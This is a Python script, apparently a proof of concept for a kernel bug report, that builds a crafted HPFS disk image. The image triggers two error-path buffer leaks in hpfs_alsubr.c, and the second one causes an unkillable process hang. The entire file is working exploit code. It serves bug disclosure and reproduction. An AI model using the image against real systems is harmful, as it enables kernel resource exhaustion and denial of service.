DF-3140 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 | #!/usr/bin/env python3 """ DF-3140 — crafted HPFS image for the two error-path buffer leaks in sys/vfs/hpfs/hpfs_alsubr.c: (1) hpfs_addextent:479-509 (children-reparenting loop after hpfs_alblk2alsec): error = hpfs_breadalsec(hpmp, anp->an_lsn, &bp); if (error) return (error); <-- nbp (getblk'd in hpfs_allocalsec, held) is NEVER brelse'd/bdwrite'd Every failed pwrite that reaches this path permanently leaks one B_BUSY 512-byte buffer (+ its bitmap sector). File ADDL drives it: root alblk AB_NODES with freecnt==0 (conversion taken on the first extend) and an[0].an_lsn pointing at a sector without AS_MAGIC. (2) hpfs_truncatealblk:798-801 (sibling read for concat): error = hpfs_breadalsec(hpmp, (anp-1)->an_lsn, &b0p); if (error) return (error); <-- bp (current child AlSec buffer) is NEVER brelse'd File TRUN drives it: root AB_NODES with two alnodes; an[1] -> C1 (leaf alsec, partially truncated so *resp==0), an[0] -> bad sector. First ftruncate(512) leaks C1's buffer; the SECOND ftruncate blocks forever in getblk() on the still-BUSY leaked buffer -> unkillable process holding the vnode lock. Image: 0x70000 sectors (~229 MB, mostly sparse) so the ADDL loop has ~458k free bitmap sectors to leak; bitmap dir at 0x30 lists 28 band bitmaps at 0x38+4*i. """ import struct, sys SECTOR = 512 IMGSEC = 0x70000 SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE AS_MAGIC = 0x37E40AAE AB_NODES = 0x80 FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11 FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \ 0x20, 0x3B, 0x3C, 0x44, 0xA4 AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6 AS_OFF_AB = 0x0C AS_OFF_ABD = 0x14 DBNUM = (IMGSEC + 0x3FFF) // 0x4000 # 28 BADLSN = IMGSEC - 1 # 0x6FFFF: valid I/O, no magic def build(outpath): img = bytearray(IMGSEC * SECTOR) def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF) def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF) def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF) def wr8(o, v): img[o] = v & 0xFF img[0] = 0xEB wr16(SECTOR - 2, 0xAA55) su = 0x10 * SECTOR wr64(su + 0, SU_MAGIC); wr8(su + 8, 2) wr32(su + 12, 0x20) wr32(su + 16, IMGSEC) wr32(su + 20, 0) wr32(su + 24, 0x30); wr32(su + 28, 0x30) wr64(0x11 * SECTOR, SP_MAGIC) # bitmap dir: DBNUM entries, band bitmap i at 0x38 + 4*i (4 sectors # of 2048 bytes each = 0x4000 bits) for i in range(DBNUM): wr32(0x30 * SECTOR + 4 * i, 0x38 + 4 * i) # band bitmaps: band 0 low sectors (<0x200) busy; everything else free # (fresh zero bytes = all bits CLEAR = all BUSY in HPFS; set 1=free) for i in range(0x200, IMGSEC): band = i >> 14 bmsec = (0x38 + 4 * band) * SECTOR off = bmsec + ((i & 0x3FFF) >> 3) if off < len(img): img[off] |= (1 << (i & 7)) rf = 0x20 * SECTOR wr32(rf + FN_OFF_MAGIC, FN_MAGIC) wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.') wr32(rf + FN_OFF_PARENT, 0x20) wr8(rf + FN_OFF_FLAG, 1) img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0 img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) wr32(rf + FN_OFF_ABD + 0, 0); wr32(rf + FN_OFF_ABD + 4, 1) wr32(rf + FN_OFF_ABD + 8, 0xB0) wr32(rf + FN_OFF_SIZE, 4 * SECTOR) db = 0xB0 * SECTOR wr32(db + 0, D_MAGIC); wr32(db + 12, 0x20); wr32(db + 16, 0xB0) dep = db + 20 for name, fno in ((b'ADDL', 0xB8), (b'TRUN', 0xBC)): reclen = ((0x2f + len(name)) + 3) & ~3 wr16(dep + 0x00, reclen); wr16(dep + 0x02, 0) wr32(dep + 0x04, fno) wr64(dep + 0x08, 0); wr32(dep + 0x10, 0x10000) wr64(dep + 0x18, 0); wr64(dep + 0x20, 0); wr32(dep + 0x28, 0) img[dep + 0x2e] = len(name) for i, c in enumerate(name): img[dep + 0x2f + i] = c dep += reclen wr16(dep + 0x00, 4 * SECTOR - (dep - db)) wr16(dep + 0x02, 0x08) wr32(db + 4, (dep + 4) - db) # --- ADDL fnode @0xB8: AB_NODES, busycnt=1, freecnt=0 --- ff = 0xB8 * SECTOR wr32(ff + FN_OFF_MAGIC, FN_MAGIC) wr32(ff + FN_OFF_PARENT, 0x20) wr8(ff + FN_OFF_NAMELEN, 4) img[ff + FN_OFF_NAME:ff + FN_OFF_NAME + 4] = b'ADDL' wr8(ff + FN_OFF_FLAG, 0) wr32(ff + FN_OFF_SIZE, 512) img[ff + FN_OFF_AB + AB_OFF_FLAG] = AB_NODES img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 0 # -> conversion path img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 8) wr32(ff + FN_OFF_ABD + 0, 0xFFFFFFFF) wr32(ff + FN_OFF_ABD + 4, BADLSN) # children-fixup EIO # --- TRUN fnode @0xBC: AB_NODES, busycnt=2 --- ff = 0xBC * SECTOR wr32(ff + FN_OFF_MAGIC, FN_MAGIC) wr32(ff + FN_OFF_PARENT, 0x20) wr8(ff + FN_OFF_NAMELEN, 4) img[ff + FN_OFF_NAME:ff + FN_OFF_NAME + 4] = b'TRUN' wr8(ff + FN_OFF_FLAG, 0) wr32(ff + FN_OFF_SIZE, 5 * 512) # truncate to 512 img[ff + FN_OFF_AB + AB_OFF_FLAG] = AB_NODES img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 0xA img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 2 wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 16) wr32(ff + FN_OFF_ABD + 0, 0xFFFFFFFF) # an[0].nextoff wr32(ff + FN_OFF_ABD + 4, BADLSN) # an[0].lsn = bad wr32(ff + FN_OFF_ABD + 8, 0xFFFFFFFF) # an[1].nextoff wr32(ff + FN_OFF_ABD + 12, 0xF04) # an[1].lsn -> C1 # --- C1 leaf alsec @0xF04 --- c = 0xF04 * SECTOR wr32(c + 0, AS_MAGIC); wr32(c + 4, 0xF04); wr32(c + 8, 0xBC) img[c + AS_OFF_AB + AB_OFF_FLAG] = 0 img[c + AS_OFF_AB + AB_OFF_FREECNT] = 0x27 img[c + AS_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(c + AS_OFF_AB + AB_OFF_FREEOFF, 8 + 12) wr32(c + AS_OFF_ABD + 0, 0) # al_off wr32(c + AS_OFF_ABD + 4, 5) # al_len (5 blocks) wr32(c + AS_OFF_ABD + 8, 0x100) # al_lsn with open(outpath, 'wb') as f: f.write(img) print("wrote %s: %d sectors (%.0f MB), dbnum=%d, badlsn=0x%x" % (outpath, IMGSEC, IMGSEC * SECTOR / 1048576.0, DBNUM, BADLSN)) if __name__ == '__main__': build(sys.argv[1] if len(sys.argv) > 1 else 'df3140.img') |